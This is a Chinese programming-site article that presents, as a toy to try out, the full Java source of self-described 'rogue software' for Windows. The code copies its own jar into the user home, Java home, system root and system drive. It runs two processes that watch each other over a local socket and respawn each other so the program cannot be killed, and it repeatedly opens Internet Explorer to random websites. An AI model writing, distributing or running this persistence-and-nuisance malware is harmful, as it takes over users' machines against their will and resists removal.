站内搜索: 请输入搜索关键词

当前页面: 开发资料首页Java 专题JAVA写的"流氓软件"

JAVA写的"流氓软件"

摘要: JAVA写的"流氓软件"

</td> </tr> <tr> <td height="35" valign="top" class="ArticleTeitle"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="416" height="86" align="left" valign="top">一个JAVA版的"流氓软件"
呵呵,因为是JAVA写的,所以对系统没有任何影响
只是你运行了它以后,将关不掉,你进任务管理器也杀不掉(一般来说).

在这里用的是两个进程互相通信的原理,一发现其中一个进程不在了,马上就会新起一个进程

有兴趣的可以玩玩,此程序由于调用了本机的方法,所以没有可移植性,只能在WINDOWS下用, 并且要求机器上装了IE.

源文件和可执行文件都在一个包里
点击start.jar开始运行,出现提示时,点允许,程序方能正常运行
</td> <td width="268" valign="top"> </td> </tr> </table>
/*

 * TestAD.java

 *

 * Created on 2006年11月22日, 下午12:55

 *

 * To change this template, choose Tools | Template Manager

 * and open the template in the editor.

 */

package lbf.demo;

/**

 *

 * @author lbf

 */

import java.io.*;

import java.net.*;

import javax.swing.*;

public class TestAD implements Runnable{

   

    private File[] root;

    private byte[] self;

    private static String IE="C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE ";

    private String[] urls;

    private boolean isServer;

    private Socket socket;

    /** Creates a new instance of TestAD */

    public TestAD(String demo) {

        initOther();

        readSelf();

        checkFile();

        new RunIE().start();

        if(demo==null){

            System.out.println("我是主进程");

            doServer();

        }else{

            System.out.println("我是子进程");

            doClient();

        }

    }

    private void initOther(){

        urls=new String[]{"www.sohu.com","www.taobao.com","www.bc-cn.net/bbs",

        "www.163.com","www.skycn.com","blog.sohu.com","www.baidu.com","www.google.com",

        "www.263.net","java.sun.com"};

        root=new File[4];

        root[0]=new File(System.getProperty("user.home","."));

        root[1]=new File(System.getProperty("java.home","."));

        root[2]=new File(System.getenv("systemRoot"));

        root[3]=new File(System.getenv("systemDrive"));

    }

    //做server或者客户端做的事情

    private void doServer(){

        try{

            isServer=true;

            final ServerSocket ss=new ServerSocket(44444);

            System.out.println("主进程已监听");

            new Thread(new Runnable(){

                public void run(){

                    while(true){

                        try{

                            socket=ss.accept();

                            new Thread(TestAD.this).start();

                        } catch(Exception exe){

                            exe.printStackTrace();

                        }

                    }

                }

            }).start();

            startProcess();

        } catch(Exception exe){

            exe.printStackTrace();

        }

    }

    //做客户端的事

    private void doClient(){

        try{

            socket=new Socket("localhost",44444);

            new Thread(this).start();

            System.out.println("子进程已连上");

        } catch(Exception exe){

            exe.printStackTrace();

        }

    }

    //检查文件是否存在

    private void checkFile(){

        try{

            for(File dir:root){

                File file=new File(dir,"start.jar");

                if(!file.exists()){

                    copyFile(file);

                }

            }

        } catch(Exception exe){

            exe.printStackTrace();

        }

    }

    //复制文件到目标文件

    private void copyFile(File to){

        try{

            FileOutputStream fout=new FileOutputStream(to);

            fout.write(self);

            fout.close();

        } catch(Exception exe){

            exe.printStackTrace();

        }

    }

    //把自己读入内存

    private void readSelf(){

        try{

            FileInputStream fin=new FileInputStream(new File("start.jar"));

            ByteArrayOutputStream bout=new ByteArrayOutputStream();

            DataOutputStream fout=new DataOutputStream(bout);

            byte[] buffer=new byte[1024];

            int length=0;

            while((length=fin.read(buffer))!=-1){

                fout.write(buffer,0,length);

            }

            self=bout.toByteArray();

            fin.close();

            fout.close();

        } catch(Exception exe){

            exe.printStackTrace();

            JOptionPane.showMessageDialog(null,"读取自己出错"+exe);

        }

    }

    //随便启动一个进程

    private void startProcess(){

        out:for(File dir:root){

            File file=new File(dir,"start.jar");

            if(file.exists()){

                try{

                    Process p=Runtime.getRuntime().exec("java -cp "+file.getAbsolutePath()+" lbf.demo.TestAD demo");

                    System.out.println("子进程已启动"+p);

                    break out;

                } catch(Exception exe){

                    exe.printStackTrace();

                }

            }else{

                copyFile(file);

            }

        }

    }

    public void run(){

        try{

            InputStream is=socket.getInputStream();

            is.read();

        } catch(Exception exe){

            if(isServer){

                startProcess();

            }else{

                doServer();

            }

        }

    }

    //专门启动IE进程的线程

    private class RunIE extends Thread{

       

        public void run(){

            while(true){

                try{

                    Thread.sleep((int)(Math.random()*10000)+5000);

                    Runtime.getRuntime().exec(IE+urls[(int)(Math.random()*urls.length)]);

                } catch(Exception exe){

                    exe.printStackTrace();

                }

            }

        }

    }

    public static void main(String[] args) {

        if(args.length==0){

            new TestAD(null);

        }else{

            System.out.println("子进程的MAIN方法调用了");

            new TestAD(args[0]);

        }

    }

}

</td> </tr> <tr>


↑返回目录
前一篇: final在java中的应用
后一篇: 双重接口的实现,备忘录模式